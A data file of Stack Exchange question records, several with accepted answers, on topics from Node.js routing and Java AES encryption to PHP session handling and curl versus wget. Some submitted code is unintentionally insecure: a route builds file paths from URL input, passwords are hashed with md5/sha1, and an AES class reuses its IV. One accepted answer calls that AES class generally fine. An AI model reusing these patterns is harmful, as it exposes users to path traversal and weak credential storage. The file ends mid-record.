{  "id": "_codereview.167134"  , "question": "I am doing a website for an association and I have never done the server side before. Here I made a very simple routing system:app.set('port',(process.env.PORT || 5000));app.use(express.static(__dirname + '/public' ));app.use(express.static(__dirname + '/views' ));app.get('/',function(req,res,next) {    res.redirect('/en/insa');}).get('/:language/:page?',function(req, res, next){    var path = __dirname+'/views/'+req.params.language+'/'+req.params.page+'.ejs';    fs.access(path,function(err) {        if (err) {            res.status(404);            console.error('404 : /' + req.params.page);            res.render('404.ejs', {                page: req.params.page            });             return;         }        res.charset = utf-8;        res.render(path ,{language: req.params.language});    });}).listen(app.get('port'),function() {    console.log('Server is running, server is listening on port ',app.get('port'));})I just redirect automatically the client if he hits the main www.site.com/ page and then I just check for the language and page in the URL like www.site.com/en/description for instance. The fs.access function checks if the EJS (that's a template generator for HTML pages) page actually exists in the folder before rendering it.Is there anything that could go wrong with this code, or something that could be done better?"  , "title": "Node JS routing system"  , "tags": "javascript;node.js;url routing;i18n"  } 
{  "id": "_unix.370060"  , "question": "I am a very new user to Flume, please treat me as an absolute noob. I am having a minor issue configuring Flume for a particular use case and was hoping you could assist. Note that I am not using HDFS, which is why this question is different from others you may have seen on forums.I have two Virtual Machines (VMs) connected to each other through an internal network on Oracle Virtual Box. My goal is to have one VM watch a particular directory that will only ever have one file in it. When the file is changed, I wish for Flume to only send only the new lines/data. I want the other VM to receive this data and update/concatenate the data to a single file in a particular directory on it.So far, I have this process very close to working. Whenever changes are made in VM1, they are updated on VM2. However, the entire file on VM1 is sent to VM2 every time, not the new lines. For example, if I wrote Test1 and then a while later underneath wrote Test2 to the file on VM1, on VM2 the output would be:Test1Test1Test2What I want to see is:        Test1        Test2I am not sure how to implement this, and am sending this email after thoroughly examining the Flume user guide documentation and most relevant articles on stackoverflow/stackexchange. For your reference, below are the current configurations(they are working in the manner I mentioned above).I realize another solution would be to keep the configuration on VM1 and overwrite the file on VM2 everytime new contents are detected. However, I am also unsure how to implement this.Any assistance you could provide is greatly appreciated!"  , "title": "Apache Flume - send only new file contents"  , "tags": "virtual machine;synchronization;apache flume"  } 
{  "id": "_webapps.69990"  , "question": "My husband and I have the same Facebook friend.  When that friend likes a post, my husband sees the liked post but I do not.   Why is this? Can't I see the same friend's liked post?"  , "title": "Can't see my friend's likes, but another friend can"  , "tags": "facebook;friends"  } 
{  "id": "_datascience.22080"  , "question": "I am fairly new into Data Science but encoutered it before. The following problem troubles me and i hope you guys can point me in the right direction. The input are some strings where some carry the same information others not. An unknow number of these strings are crooked* to a warrying degree. From only one letter off to complete garbage. On the output side are the corrected strings from the input. The catch is that there are only certain, already known, combinations of valid strings possible. In a naive approach i chained some fuzzy searches and already got some promising results. Now i don't know where to start or if there are similar problems already solved.* (are we still allowed to say this?)"  , "title": "Mapping a set of corrupted strings to the correct ones"  , "tags": "machine learning;beginner"  } 
{  "id": "_codereview.85396"  , "question": "The code below takes a String and encrypts it using AES/CBC/PKCS5PADDING as transformation. I am learning as I go and I have a few questions about my code.Is SecureRandom ok for generating my KEY and my IV? What's up with all these exceptions?Is my code creating any vulnerabilities in the encryption process? (mistakes maybe?) Am I seeding SecureRandom properly? I'm hopping to incorporate this into a larger project or build on this. Any suggestions for making the code easier to work with multiple classes? import java.io.UnsupportedEncodingException;import java.security.InvalidAlgorithmParameterException;import java.security.InvalidKeyException;import java.security.NoSuchAlgorithmException;import java.security.SecureRandom;import javax.crypto.BadPaddingException;import javax.crypto.Cipher;import javax.crypto.IllegalBlockSizeException;import javax.crypto.KeyGenerator;import javax.crypto.NoSuchPaddingException;import javax.crypto.SecretKey;import javax.crypto.spec.IvParameterSpec;public class AESCrypt {    private SecureRandom r = new SecureRandom();    private Cipher c;    private IvParameterSpec IV;    private SecretKey s_KEY;    // Constructor    public AESCrypt() throws NoSuchAlgorithmException, NoSuchPaddingException {        this.c = Cipher.getInstance(AES/CBC/PKCS5PADDING);        this.IV = generateIV();        this.s_KEY = generateKEY();    }    // COnvert the String to bytes..Should I be using UTF-8? I dont think it    // messes with the encryption and this way any pc can read it ?    // Initialize the cipher    // Encrypt the String of bytes    // Return encrypted bytes    protected byte[] encrypt(String strToEncrypt) throws InvalidKeyException,            InvalidAlgorithmParameterException, IllegalBlockSizeException,            BadPaddingException, UnsupportedEncodingException {        byte[] byteToEncrypt = strToEncrypt.getBytes(UTF-8);        this.c.init(Cipher.ENCRYPT_MODE, this.s_KEY, this.IV, this.r);        byte[] encryptedBytes = this.c.doFinal(byteToEncrypt);        return encryptedBytes;    }    // Initialize the cipher in DECRYPT_MODE    // Decrypt and store as byte[]    // Convert to plainText and return    protected String decrypt(byte[] byteToDecrypt) throws InvalidKeyException,            InvalidAlgorithmParameterException, IllegalBlockSizeException,            BadPaddingException {        this.c.init(Cipher.DECRYPT_MODE, this.s_KEY, this.IV);        byte[] plainByte = this.c.doFinal(byteToDecrypt);        String plainText = new String(plainByte);        return plainText;    }    // Create the IV.    // Create a Secure Random Number Generator and an empty 16byte array. Fill    // the array.    // Returns IV    private IvParameterSpec generateIV() {        byte[] newSeed = r.generateSeed(16);        r.setSeed(newSeed);        byte[] byteIV = new byte[16];        r.nextBytes(byteIV);        IV = new IvParameterSpec(byteIV);        return IV;    }    // Create a KeyGenerator that takes in 'AES' as parameter    // Create a SecureRandom Object and use it to initialize the    // KeyGenerator    // keyGen.init(256, sRandom); Initialize KeyGenerator with parameters    // 256bits AES    private SecretKey generateKEY() throws NoSuchAlgorithmException {        // byte[] bytKey = AES_KEY.getBytes(); // Converts the Cipher Key to        // Byte format        // Should I use SHA-2 to get a random key or is this better?        byte[] newSeed = r.generateSeed(32);        r.setSeed(newSeed);        KeyGenerator keyGen = KeyGenerator.getInstance(AES); // A                                                                // KEyGenerator                                                                // object,        SecureRandom sRandom = r.getInstanceStrong(); // A SecureRandom object                                                        // used to init the                                                        // keyGenerator        keyGen.init(256, sRandom); // Initialize RAndom Number Generator        s_KEY = keyGen.generateKey();        return s_KEY;    }    public String byteArrayToString(byte[] s) {        String string = new String(s);        return string;    }    // Get Methods for all class variables    public Cipher getCipher() {        return c;    }    public IvParameterSpec getIV() {        return IV;    }    public SecretKey getSecretKey() {        return s_KEY;    }}"  , "title": "Encrypting a string using AES/CBC/PKCS5PADDING"  , "tags": "java;security;cryptography"  , "accepted_answer": "Is SecureRandom ok for generating my KEY and my IV? I would generally advise that you don't specify your own SecureRandom for the key generator, unless you have a specific reason to do so. By default, it will select the highest priority implementation it finds amongst the installed providers. Also, if your code is used with a hardware security module (HSM) in the future, it will either completely ignore your request or it will even throw an exception to tell you that you mustn't try to specify an alternative source of randomness.Using it to generate an IV value is fine.What's up with all these exceptions?Yeah, irritating isn't it? The security APIs are peppered with checked exceptions. Fortunately, many of them extend GeneralSecurityException, so you can just throw that if you have no intention of acting upon the individual exceptions.As in all code, throw exceptions that are appropriate to the abstraction of your API layer.Is my code creating any vulnerabilities in the encryption process? (mistakes maybe?) No, it generally looks fine. You should specify UTF-8 when converting your plaintext bytes to a string, but that's about it.Obviously you'll need to store your IV along with your ciphertext when you eventually use this in anger.Am I seeding SecureRandom properly?There's not really any need to seed a SecureRandom object. Many implementations of SecureRandom ignore the seeds they are supplied. Just create it using:SecureRandom random = new SecureRandom();You are currently using SecureRandom::generateSeed() which is actually intended for seeding other PRNGs. There's no need to use it to re-seed your existing SecureRandom instance. Just use the basic no-arg constructor as I suggest above. "  } 
{  "id": "_codereview.84775"  , "question": "I've put together an algorithm for an assignment. I've done my best to try and keep it to a professional and readable standard. I'm posting it here so that I can get some feedback and suggestions on what it's like and whether I could improve the algorithm in some way.    /***** Algorithm     Comments -  Name: Shivan Kamal                Purpose: To create a C program which takes 3 integers and produces a result that shows which triangle(If valid) they have chosen.*****/Variable Declaration: sideA =  integerVariable Declaration: sideB =  integerVariable Declaration: sideC =  integerCharacter Declaration = ch                  PRINT --  Lets explore triangles! Please insert a value for side A of your triangle \\n    PRINT --  Ranging from 1-15cm    PRINT --  Now insert a value for side B of your triangle ranging from 1-15cm.\\n    INPUT -- sideB    PRINT -- And finally, insert a value for side C of your triangle ranging from 1-15cm.\\n    INPUT -- sideC    IF (sideA || sideB || sideC <=0)        PRINT   You cannot have a triangle with any side having a value of 0.\\n    ELSE        IF(sideA || sideB || sideC >15) THEN            PRINT  Please insert a value between 1cm - 15cm only.        ELSE            IF (sideA AND sideB == sideC OR sideB AND sideC == sideA OR sideC AND sideA == side C ) THEN                PRINT Your input creates a valid EQUILATERAL triangle.\\n            ELSE                IF (sideA==sideB OR sideB==sideC OR sideC==sideA )                    PRINT  Your input creates a valid SCALENE triangle.\\n                ELSE                    IF                        PRINT  Your input creates a valid ISOSCELES triangle.\\n                    ELSE                        PRINT  You have inserted invalid range of values, as a result your triangle is Invalid.\\n                        PRINT  Please restart the program by running it again and insert valid values in order to check what triangle you would get. Goodbye.                    ENDIF                ENDIF            ENDIF        ENDIF    ENDIFEND PROGRAM   You may notice I did a char declaration but didn't use it in the rest of the algorithm. That is because I'm trying to expand on the algorithm and testing conditions. One of the things I want to do is insert a loop condition where unless a user insert a valid integer the user will be prompted to insert a valid integer, once it's inserted, the program continues on. This happens on 3 occasions at the beginning.Also I have made the integer between a range of specific numbers. How would I be able to improve upon the algorithm so that a user can insert any number, and one of the conditions upon that is that one side of a triangle cannot be longer than the other two sides otherwise the triangle is invalid. If a user inserts, for example sideA as 10sideB as 20then sideC cannot be more than 30. Likewise the condition to be where sideA cannot be more than sideB and sideC combined, as well as sideC and sideA not been higher than sideB.In my code I've currently got it set to make sure a user can only insert a valid integer, and thus will not allow a user to insert any character except an integer. At the end of the algorithm and also in the code, I've got an else-if statement in case the user inserts anything invalid. But since I am trying to make it error proof from the beginning, what would I have to add so that I can remove the final else-if statement.And finally I want to add a section to the algorithm where the result is After user has gotten an answer, the user is then asked to either try again or simply exit. The code is pasted below if you wish to compile. Check it out and make some suggestions based on what I'm trying to make the program do. #include <stdio.h>int main(){    /*** Declaring triangle variable sides ****/  int sideA;  int sideB;  int sideC;  char ch;  printf(Lets explore triangles! Please insert a value for side 'A' of your triangle.\\n);  printf( Ranging from 1-15cm.\\n);  while(scanf(%d, &sideA) != 1)  {    printf(You inserted an incorrect value. Please insert a number ranging between 1-15cm, and try again.\\n);    while ( (ch=getchar()) != '\\n' );  }  printf( Now insert a value for side 'B' of your triangle ranging from 1-15cm.\\n);  while(scanf(%d, &sideB) != 1 )  {    printf(You inserted an incorrect value. Please insert a number ranging from 1-15cm, and try again.\\n);    while ( (ch=getchar()) != '\\n' );  }  printf( And finally, insert a value for side C of your triangle ranging from 1-15cm.\\n);  while(scanf(%d, &sideC) != 1 )  {    printf(You inserted an incorrect value. Please insert a number ranging from 1-15cm, and try again.\\n);    while ( (ch=getchar()) != '\\n' );  }  /*** List of conditions based on user input to identify if the triangle is valid and if so, what type of triangle they get***/  if(sideA <=0 || sideB<=0 || sideC <=0)  {      printf( You cannot have a triangle with any side having a value of 0.\\n);  }  else      if(sideA>15 || sideB>15 || sideC >15)      {          printf(Please insert a value between 1cm-15cm only\\n.);      }      else          if( (sideA==sideC && sideB==sideC) || (sideB==sideA && sideC==sideA) || (sideC==sideB && sideA==sideB) ) /*** Code to determine EQUILATERAL TRIANGLE***/          {              printf( Your input creates a valid EQUILATERAL triangle.\\n);          }          else              if( (sideA == sideB) || (sideB == sideC) || (sideC == sideA) )/*** Code to determine ISOSCELES TRIANGLE***/              {                  printf(Your input creates a valid ISOSCELES triangle.\\n);              }              else                  if( (sideA!= sideB) && (sideB != sideC) )/*** Code to determine SCALENE triangle ***/                  {                     printf(Your input creates a valid SCALENE triangle.\\n);                  }                  else                  {                      printf(You have inserted invalid range of values, as a result your triangle is invalid.\\n);                      printf(Please restart the program by closing it and opening it again to retry\\n.);                      printf(Goodbye.\\n);                  }return(0);}NOTE: You may find there are some things in the code that are not in the algorithm. This is purely because I'm a little unsure on how I should write them so that it makes sense to a programmer when they try to write this program.NOTE: Please bear in mind that I am aware the code lacks modularization and has a lot of else -if statements. I wrote the code specifically this way because I was advised to do so. It was part of my instructions."  , "title": "Generating a triangle from integers"  , "tags": "algorithm;c"  } 
{  "id": "_codereview.22738"  , "question": "So I am working on a LMS project and I have a User class that will handle everything about the user such as registration, login, showing list of courses that they are subscribed to, etc.User.class.phpclass User {    protected $_firstName;    protected $_lastName;    protected $_email;    protected $_username;    protected $_password;    protected $_createdOn;    protected $_userLevel;    protected $_salt = '}$YY lGC6&wib=w{dpqgzXv>{)A3w)5@mi`/Q7HK|/GwZ6)K<4I~Ey-bQ';    public function getFirstName() { return $this->_firstName; }    public function setFirstName($value) {             $this->_firstName = $value;            if (empty($value)) {                    setError('firstName', 'Enter your first name.');            } else if (strlen($value) < 2) {                    setError('firstName', 'The name you provided is too short.');            } else if (!ctype_alpha(str_replace(array('-',' '), '', $value))) {                    setError('firstName', 'The name you provided can only contain letters.');            }    }    public function getLastName() { return $this->_lastName; }    public function setLastName($value) {             $this->_lastName = $value;            if (empty($value)) {                    setError('lastName', 'Enter your last name.');            } else if (strlen($value) < 2) {                    setError('lastName', 'The name you provided is too short.');            } else if (!ctype_alpha(str_replace(array('-',' '), '', $value))) {                    setError('lastName', 'The name you provided can only contain letters.');            }    }    public function getEmail() { return $this->_email; }    public function setEmail($value) {            $this->_email = $value;            $pattern = '!^.{1,}@.{2,}$!i';            if (empty($value)) {                    setError('email', 'Enter your email.');            } else if (substr_count($value, '@') != 1 and !preg_match($pattern, $value)) {                    setError('email', 'The email you provided is not valid.');            }    }    public function getUsername() { return $this->_username; }    public function setUsername($value) {             $this->_username = strtolower($value);            if (empty($value)) {                    setError('username', 'Enter your username.');            } else if (strlen($value) < 6) {                    setError('username', 'The username you provided must have at least 6 characters.');            } else if (!ctype_alnum(str_replace('_', '', $value))) {                    setError('username', 'The username you provided can only contain letters, numbers, and underscores.');            }    }    public function getPassword() { return $this->_password; }    public function setPassword($value) {             $this->_password = $value;            if (empty($value)) {                    setError('password', 'Enter a password.');            } else if (strlen($value) < 6) {                    setError('password', 'The password you provided must have at least 6 characters.');            }    }    public function setConfirmPassword($value) {            if (empty($value)) {                    setError('confirmPassword', 'Re-enter your password again.');            } else if ($this->_password != $value) {                    setError('confirmPassword', 'This does not match your password.');            }    }    private function _encrypt($value) {            return sha1(md5($this->_salt.md5($value)));    }    public function register() {            if (!hasErrors()) {                    try {                            $core = Core::getInstance();                            $sth = $core->dbh->prepare(<<<SQLINSERT IGNORE INTO `users` SET `first_name` = :first_name, `last_name` = :last_name, `email` = LOWER(:email), `username` = LOWER(:username), `password` = :password, `created_on` = NOW()SQL                            );                            $sth->bindValue(':first_name', propercase($this->_firstName), PDO::PARAM_STR);                            $sth->bindValue(':last_name', propercase($this->_lastName), PDO::PARAM_STR);                            $sth->bindValue(':email', $this->_email, PDO::PARAM_STR);                            $sth->bindValue(':username', $this->_username, PDO::PARAM_STR);                            $sth->bindValue(':password', $this->_encrypt($this->_password), PDO::PARAM_STR);                            $sth->execute();                    } catch (Exception $e) {                            // print $e->getMessage();                    }                  }    }    public function login() {            if (!hasErrors()) {                    try {                            $core = Core::getInstance();                             $sth = $core->dbh->prepare(<<<SQLSELECT * FROM `users`WHERE `username` = :usernameLIMIT 1     SQL                            );                            $sth->bindValue(':username', $this->_username, PDO::PARAM_STR);                            $sth->execute();                            $row = $sth->fetch();                            $sth->closeCursor();                            if ($row and $row->password == $this->_encrypt($this->_password)) {                                    $_SESSION['uid'] = $row->id;                                    $_SESSION['user'] = $row->username;                                    $_SESSION['pass'] = $row->password;                                    $_SESSION['level'] = $row->user_level;                            }                    } catch (Exception $e) {                            // print $e->getMessage();                    }            }    }    private function _destroySession() {            session_unset();            session_destroy();    }    public function logout() {            $this->_destroySession();            redirect('index.php');    }    public function check() {            if (isset($_SESSION['pass'])) {                    try {                                   $core = Core::getInstance();                             $sth = $core->dbh->prepare(<<<SQLSELECT * FROM `users` WHERE `username` = :usernameLIMIT 1SQL                            );                            $sth->bindValue(':username', $_SESSION['user'], PDO::PARAM_STR);                            $sth->execute();                            $row = $sth->fetch();                            $sth->closeCursor();                            if (!$row or $row->password != $_SESSION['pass']) {                                    $this->logout();                            }                    } catch (Exception $e) {                            // print $e->getMessage();                    }            }    }    public function isLoggedIn() {            return (isset($_SESSION['pass']));    }    public function getCourseSubscriptions() {            $rows = array();            try {                    $core = Core::getInstance();                    $sth = $core->dbh->prepare(<<<SQLSELECT c.`id` AS id, c.`code` AS code, c.`name` AS name, IF(`u_id` IS NULL, 0, 1) AS subscribedFROM `courses` cLEFT JOIN `course_subscriptions` s ON c.id = s.`c_id` AND s.`u_id` = :u_idORDER BY `code`SQL                    );                    $sth->bindValue(':u_id', $_SESSION['uid'], PDO::PARAM_INT);                    $sth->execute();                    $rows = $sth->fetchAll();                    $sth->closeCursor();            } catch (PDOException $e) {                    // print $e->getMessage();            }            return $rows;    }    public function addCourseSubscription($c_id) {            try {                    $core = Core::getInstance();                    $sth = $core->dbh->prepare(<<<SQLINSERT IGNORE INTO `course_subscriptions`(c_id, u_id) VALUES(:c_id, :u_id)SQL                    );                    $sth->bindValue(':c_id', $c_id, PDO::PARAM_INT);                    $sth->bindValue(':u_id', $_SESSION['uid'], PDO::PARAM_INT);                    $sth->execute();                    return true;            } catch (PDOException $e) {                    // print $e->getMessage();            }            return false;    }}Everything is working fine but I feel.. stuck with how to use this object properly with a session. Below is an example on how I am currently using my class.course_catalog.php$userObj = new User();$userObj->check();$list = $userObj->getCourseSubscriptions();Any suggestions on how I can improve any of this?"  , "title": "How to properly make a user class with a session"  , "tags": "php;object oriented;session"  , "accepted_answer": "First of all I would split the User class in 2 or 3 classes User, Authentication and Registration. The setter error could easily become Exceptions, which you could collect in you Registration class.At the end you will have a smaller User object you can attach to the session.Please also check http://www.phpbuilder.com/columns/validating_php_user_sessions.php3 for some hint regarding session validation."  } 
{  "id": "_webmaster.68489"  , "question": "I have a dynamically constructed page that automatically pulls specific page content and applies it to the meta description.There are <br> tags that end up in the meta description. Should I write the extra code that will remove and store this cleaned-up version, or is it ok/safe/bad-for-SEO to leave the tags there?"  , "title": " in meta-description, ok or not?"  , "tags": "seo;meta tags;meta description"  , "accepted_answer": "I don't think there is any harm in doing this from an SEO perspective as this tag is not used as a ranking factor anymore. As far as Google using it to display the snippet for your pages in their search results, they can choose to simply ignore the <br> tag or choose a different snippet to display such as your ODP description (if it exists) or a snippet of text from your page's content.Having said that, if you have the ability to remove those tags you should do so. If you suspect it may be problematic, and it serves no purpose in your meta tag (and it doesn't) you should remove it."  } 
{  "id": "_softwareengineering.165720"  , "question": "I'm stating to work on a project that I intend to release as open source via the githubs. What are the advantages of putting the code on github from the outset, as opposed to waiting until the project is in a working state before publishing.If it matters, this particular project is a C# app/service, and I have only a free github account (so I can't make it private and then pull back the covers later)"  , "title": "what are the advantages and disadvantages of putting code for an unfinished project on github"  , "tags": "open source;github"  , "accepted_answer": "The quicker you make your code publicly available, the quicker you can gain feedback and people to help you.  If your intention is to make the project open source from the beginning, then I would recommend starting your project out as public by default.Github is full of small and unfinished projects so your project should fit right in.  The more details you put in the readme file the better as it will help other developers/consumers get up to speed on your project quickly.At the very least, your private projects should be under some sort of version control.  If you don't want to pay for a service, then I'd recommend using Dropbox to back up your private local repositories.  This way you have file backup and version control on your project which will save you from hours of pain in the future."  } 
{  "id": "_scicomp.13028"  , "question": "I'm looking at FEM discretizations of$$u_i - \\Delta u_i = f$$ for $u_1, u_2$ on subdomains $\\Omega_1, \\Omega_2$ with interface $\\Gamma$. A Neumann-Neumann transmission condition can be formulated by solving for a flux $\\lambda$ on $\\Gamma$ such that $n\\cdot \\nabla u_1 = \\lambda = -n\\cdot \\nabla u_2$. One dual variational form involves formulating the problem using a Lagrange multiplier unknown $\\lambda$, such that$$\\begin{align*}a_1(u_1,v_1) + a_2(u_2,v_2) + \\int_{\\Gamma} \\lambda [[v]]&= (f,v1)+(f,v2)\\\\\\int_{\\Gamma} \\mu [[u]] &= 0\\end{align*}$$and we can eliminate $u_1, u_2$ to solve only in terms of $\\lambda$. Is there a way to do this for other transmission conditions? I can repeat the same process with for Robin interfaces and add $\\alpha u_i$ to the interface BCs. Redefining a new Lagrange multiplier $\\tilde{\\lambda}$ gives$$\\begin{align*}-\\alpha u_1 - n\\cdot\\nabla u_1 &= \\tilde{\\lambda} = \\lambda - \\alpha u_1\\\\\\alpha u_2 - n\\cdot\\nabla u_2 &= \\tilde{\\lambda} = -(\\lambda - \\alpha u_2).\\end{align*}$$but the second BC is no longer coercive (the boundary term contributes negative $\\int_{\\Gamma}\\alpha u_2v_2$ to $a_2(u_2,v_2)$). Is there a way to do a stable Lagrange multiplier formulation for the Robin-Robin case for elliptic problems?(I'd also be grateful for a reference to previous work if I've overlooked the answer to this in literature.)"  , "title": "Domain decomposition w/Lagrange multipliers"  , "tags": "domain decomposition"  } 
{  "id": "_cstheory.1008"  , "question": "So I have an issue I'm facing in regards to clustering with live, continuously streaming data.  Since I have an ever-growing data set I'm not sure what is the best way to run efficient and effective clustering.  I've come up with a few possible solutions including:Setting a limit on how many data points to allow, thus whenever the limit is reached as another data point comes in the oldest point is removed.  Essentially, this would suggest that older data isn't relevant enough to us anymore to care what we're losing by throwing it out.Once there is enough data to make a good clustering, consider this the setup and as new points come, rather than re-clustering all the data just figure out which cluster center the new point is closest to and add it to that.  The benefit here is you could avoid having to re-cluster on every new point and you wouldn't have to store all the other points, just the cluster centers, considering this clustering good enough.  The downside is that re-running the algorithm with all data points from the beginning may be more accurate.While those are some potential solutions I brain-stormed, I'd like to know if there are any better known techniques to face this problem.  I figure sites like Google had to deal with it somehow (and I'm hoping that add more ram, servers and processors or continually expand your data centers aren't the only answers available)."  , "title": "Continuous Clustering"  , "tags": "ds.algorithms;clustering;online algorithms;data streams"  , "accepted_answer": "It sounds like you're looking for online algorithms for clustering. I suggest searching for online clustering on Google Scholar. Maybe the following links will prove useful (at least as a starting point). Guha et al.: Clustering Data Streams: Theory and PracticeBeringer and Hllermeier: Online clustering of data streams"  } 
{  "id": "_unix.47434"  , "question": "I am keen to know the difference between curl and wget. Both are used to get files and documents but what the key difference between them.Why are there two different programs?"  , "title": "What is the difference between curl and wget?"  , "tags": "utilities;wget;curl;download"  , "accepted_answer": "The main differences are:wget's major strong side compared to curl is its ability to download recursively.wget is command line only. There's no lib or anything, but curl features and is powered by libcurl.curl supports FTP, FTPS, HTTP, HTTPS, SCP, SFTP, TFTP, TELNET, DICT, LDAP, LDAPS, FILE, POP3, IMAP, SMTP, RTMP and RTSP. wget supports HTTP, HTTPS and FTP.curl builds and runs on more platforms than wget.wget is part of the GNU project and all copyrights are assigned to FSF. The curl project is entirely stand-alone and independent with no organization parenting at allcurl offers upload and sending capabilities. wget only offers plain HTTP POST support. You can see more details at the following link:curl vs Wget  "  } 
{  "id": "_codereview.118473"  , "question": "I recently reinstated the unit tests in Rubberduck.  Previously, our parser was a synchronous parser, with everything running in sequence, and we could just request a parse result.  Now, however, it runs asynchronously and we can only request parses.  As a result, I have to somehow perform a blocking call to the parser, which I did with a semaphore.  First, the semaphore blocks the code from continuing to execute, then the event handlers that gets called when the parser state changes releases it (or, if the code parses remarkably fast, the semaphore has a slot available and waiting for the method to take).Below are a subset of the tests for my Introduce Parameter refactoring.  While I am especially looking for feedback on how I handle the blocking parser and the way I set up the tests in general, all feedback is welcome.[TestClass]public class IntroduceParameterTests{    private readonly SemaphoreSlim _semaphore = new SemaphoreSlim(0, 1);    void State_StateChanged(object sender, ParserStateEventArgs e)    {        if (e.State == ParserState.Ready)        {            _semaphore.Release();        }    }    [TestMethod]    public void IntroduceParameterRefactoring_NoParamsInList_Sub()    {        //Input        const string inputCode =@Private Sub Foo()    Dim bar As BooleanEnd Sub;        var selection = new Selection(2, 10, 2, 13); //startLine, startCol, endLine, endCol        //Expectation        const string expectedCode =@Private Sub Foo(ByVal bar As Boolean)End Sub;        //Arrange        var builder = new MockVbeBuilder();        VBComponent component;        var vbe = builder.BuildFromSingleStandardModule(inputCode, out component);        var project = vbe.Object.VBProjects.Item(0);        var module = project.VBComponents.Item(0).CodeModule;        var codePaneFactory = new CodePaneWrapperFactory();        var mockHost = new Mock<IHostApplication>();        mockHost.SetupAllProperties();        var parser = new RubberduckParser(vbe.Object, new RubberduckParserState());        parser.State.StateChanged += State_StateChanged;        parser.State.OnParseRequested();        _semaphore.Wait();        parser.State.StateChanged -= State_StateChanged;        var qualifiedSelection = new QualifiedSelection(new QualifiedModuleName(component), selection);        //Act        var refactoring = new IntroduceParameter(parser.State, new ActiveCodePaneEditor(vbe.Object, codePaneFactory), null);        refactoring.Refactor(qualifiedSelection);        //Assert        Assert.AreEqual(expectedCode, module.Lines());    }    [TestMethod]    public void IntroduceParameterRefactoring_ImplementsInterface_MultipleInterfaceImplementations()    {        //Input        const string inputCode1 =@Sub fizz(ByVal boo As Boolean)End Sub;        const string inputCode2 =@Implements IClass1Sub IClass1_fizz(ByVal boo As Boolean)    Dim fizz As DateEnd Sub;        const string inputCode3 =@Implements IClass1Sub IClass1_fizz(ByVal boo As Boolean)End Sub;        var selection = new Selection(4, 10, 4, 14); //startLine, startCol, endLine, endCol        //Expectation        const string expectedCode1 =@Sub fizz(ByVal boo As Boolean, ByVal fizz As Date)End Sub;        const string expectedCode2 =@Implements IClass1Sub IClass1_fizz(ByVal boo As Boolean, ByVal fizz As Date)End Sub;        const string expectedCode3 =@Implements IClass1Sub IClass1_fizz(ByVal boo As Boolean, ByVal fizz As Date)End Sub;        //Arrange        var builder = new MockVbeBuilder();        var project = builder.ProjectBuilder(TestProject1, vbext_ProjectProtection.vbext_pp_none)            .AddComponent(IClass1, vbext_ComponentType.vbext_ct_ClassModule, inputCode1)            .AddComponent(Class1, vbext_ComponentType.vbext_ct_ClassModule, inputCode2)            .AddComponent(Class2, vbext_ComponentType.vbext_ct_ClassModule, inputCode3)            .Build();        var vbe = builder.AddProject(project).Build();        var component = project.Object.VBComponents.Item(1);        vbe.Setup(v => v.ActiveCodePane).Returns(component.CodeModule.CodePane);        var codePaneFactory = new CodePaneWrapperFactory();        var mockHost = new Mock<IHostApplication>();        mockHost.SetupAllProperties();        var parser = new RubberduckParser(vbe.Object, new RubberduckParserState());        parser.State.StateChanged += State_StateChanged;        parser.State.OnParseRequested();        _semaphore.Wait();        parser.State.StateChanged -= State_StateChanged;        var qualifiedSelection = new QualifiedSelection(new QualifiedModuleName(component), selection);        var module1 = project.Object.VBComponents.Item(0).CodeModule;        var module2 = project.Object.VBComponents.Item(1).CodeModule;        var module3 = project.Object.VBComponents.Item(2).CodeModule;        var messageBox = new Mock<IMessageBox>();        messageBox.Setup(m => m.Show(It.IsAny<string>(), It.IsAny<string>(), It.IsAny<MessageBoxButtons>(), It.IsAny<MessageBoxIcon>()))                  .Returns(DialogResult.OK);        //Act        var refactoring = new IntroduceParameter(parser.State, new ActiveCodePaneEditor(vbe.Object, codePaneFactory), messageBox.Object);        refactoring.Refactor(qualifiedSelection);        //Assert        Assert.AreEqual(expectedCode1, module1.Lines());        Assert.AreEqual(expectedCode2, module2.Lines());        Assert.AreEqual(expectedCode3, module3.Lines());    }    [TestMethod]    public void IntroduceParameterRefactoring_PassInTarget_Nonvariable()    {        //Input        const string inputCode =@Private Sub Foo()    Dim bar As BooleanEnd Sub;        //Arrange        var builder = new MockVbeBuilder();        VBComponent component;        var vbe = builder.BuildFromSingleStandardModule(inputCode, out component);        var project = vbe.Object.VBProjects.Item(0);        var module = project.VBComponents.Item(0).CodeModule;        var codePaneFactory = new CodePaneWrapperFactory();        var mockHost = new Mock<IHostApplication>();        mockHost.SetupAllProperties();        var parser = new RubberduckParser(vbe.Object, new RubberduckParserState());        parser.State.StateChanged += State_StateChanged;        parser.State.OnParseRequested();        _semaphore.Wait();        parser.State.StateChanged -= State_StateChanged;        var messageBox = new Mock<IMessageBox>();        messageBox.Setup(m => m.Show(It.IsAny<string>(), It.IsAny<string>(), It.IsAny<MessageBoxButtons>(), It.IsAny<MessageBoxIcon>()))                  .Returns(DialogResult.OK);        //Act        var refactoring = new IntroduceParameter(parser.State, new ActiveCodePaneEditor(vbe.Object, codePaneFactory), messageBox.Object);        //Assert        try        {            refactoring.Refactor(parser.State.AllUserDeclarations.First(d => d.DeclarationType != DeclarationType.Variable));            messageBox.Verify(m =>                    m.Show(It.IsAny<string>(), It.IsAny<string>(), It.IsAny<MessageBoxButtons>(),                        It.IsAny<MessageBoxIcon>()), Times.Once);        }        catch (ArgumentException e)        {            Assert.AreEqual(Invalid declaration type, e.Message);            Assert.AreEqual(inputCode, module.Lines());            return;        }        Assert.Fail();    }}"  , "title": "Unit Testing the Duck"  , "tags": "c#;unit testing;meta programming;rubberduck"  , "accepted_answer": "I don't believe a Semaphore is needed in the first place. Remove it, register an event handler and continue your act and assert phase inside it.Something like this:parser.State.StateChanged += (o, e) => {    var qualifiedSelection = new QualifiedSelection(new QualifiedModuleName(component), selection);    var refactoring = new IntroduceParameter(parser.State, new ActiveCodePaneEditor(vbe.Object, codePaneFactory), null);    refactoring.Refactor(qualifiedSelection);    Assert.AreEqual(expectedCode, module.Lines());};After creating a quick scenario that I believe mimics your use case, it seems to work just fine: https://gist.github.com/Vannevelj/5d0e348fd1424492ff8fparser.State.OnParseRequested();I'm not feeling comfortable with this name for a public member since it's not of the [verb][action] form -- RequestParse() might be more appropriate.var selection = new Selection(4, 10, 4, 14); //startLine, startCol, endLine, endColEither use named arguments or don't use them -- don't put them in commentsWhy do you group 3 scenarios in one test? Either use a parameterized test or extract common logic and keep it separated. Nobody wants to sift through multiple test cases when one of them fails.Avoid try-catch in a unit test -- that means you're doing it the other way around. Using [ExpectedException(typeof(ArgumentException), Invalid declaration type] you've got most of it covered already though I could see 